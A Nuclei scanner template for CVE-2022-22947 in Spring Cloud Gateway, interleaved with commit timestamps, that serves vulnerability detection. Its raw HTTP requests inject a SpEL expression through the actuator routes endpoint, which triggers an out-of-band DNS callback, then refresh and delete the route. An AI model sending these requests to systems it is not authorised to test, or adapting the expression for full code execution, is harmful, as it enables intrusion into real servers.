2022-03-02 08:45:10 +00:00
id : CVE-2022-22947
info :
name : Spring Cloud Gateway Code Injection
author : pdteam
severity : critical
2022-04-22 10:38:41 +00:00
description : Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker
could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
2022-03-02 08:45:10 +00:00
reference :
2022-03-08 15:15:40 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
2022-03-02 08:45:10 +00:00
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
2022-03-08 15:15:40 +00:00
classification :
cve-id : CVE-2022-22947
2022-04-22 10:38:41 +00:00
tags : cve,cve2022,apache,spring,vmware,actuator,oast
2022-03-02 08:45:10 +00:00
requests :
- raw :
- |
2022-03-02 21:14:27 +00:00
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
2022-03-02 08:45:10 +00:00
Host : {{Hostname}}
Content-Type : application/json
{
"predicates": [
{
"name": "Path" ,
"args": {
2022-03-02 21:14:27 +00:00
"_genkey_0": "/{{randstr}}/**"
2022-03-02 08:45:10 +00:00
}
}
] ,
"filters": [
{
"name": "RewritePath" ,
"args": {
2022-03-02 21:14:27 +00:00
"_genkey_0": "#{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")}" ,
2022-03-02 08:45:10 +00:00
"_genkey_1": "/${path}"
}
}
] ,
2022-03-02 21:14:27 +00:00
"uri": "{{RootURL}}" ,
2022-03-02 08:45:10 +00:00
"order": 0
}
2022-03-02 21:14:27 +00:00
2022-03-02 08:45:10 +00:00
- |
POST /actuator/gateway/refresh HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
{
2022-03-02 21:14:27 +00:00
"predicate": "Paths: [/{{randstr}}], match trailing slash: true" ,
"route_id": "{{randstr}}" ,
2022-03-02 08:45:10 +00:00
"filters": [
2022-03-02 21:14:27 +00:00
"[[RewritePath #{T(java.net.InetAddress).getByName(\"{{interactsh-url}}\")} = /${path}], order = 1]"
2022-03-02 08:45:10 +00:00
] ,
2022-03-02 21:14:27 +00:00
"uri": "{{RootURL}}" ,
2022-03-02 08:45:10 +00:00
"order": 0
}
2022-03-02 21:14:27 +00:00
- |
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host : {{Hostname}}
2022-03-02 08:45:10 +00:00
matchers-condition : and
matchers :
- type : status
status :
- 201
2022-03-02 21:14:27 +00:00
- type : word
part : header
words :
- "/routes/{{randstr}}"
2022-03-02 08:45:10 +00:00
- type : word
part : interactsh_protocol
words :
2022-03-08 15:15:40 +00:00
- "dns"
# Enhanced by mp on 2022/03/08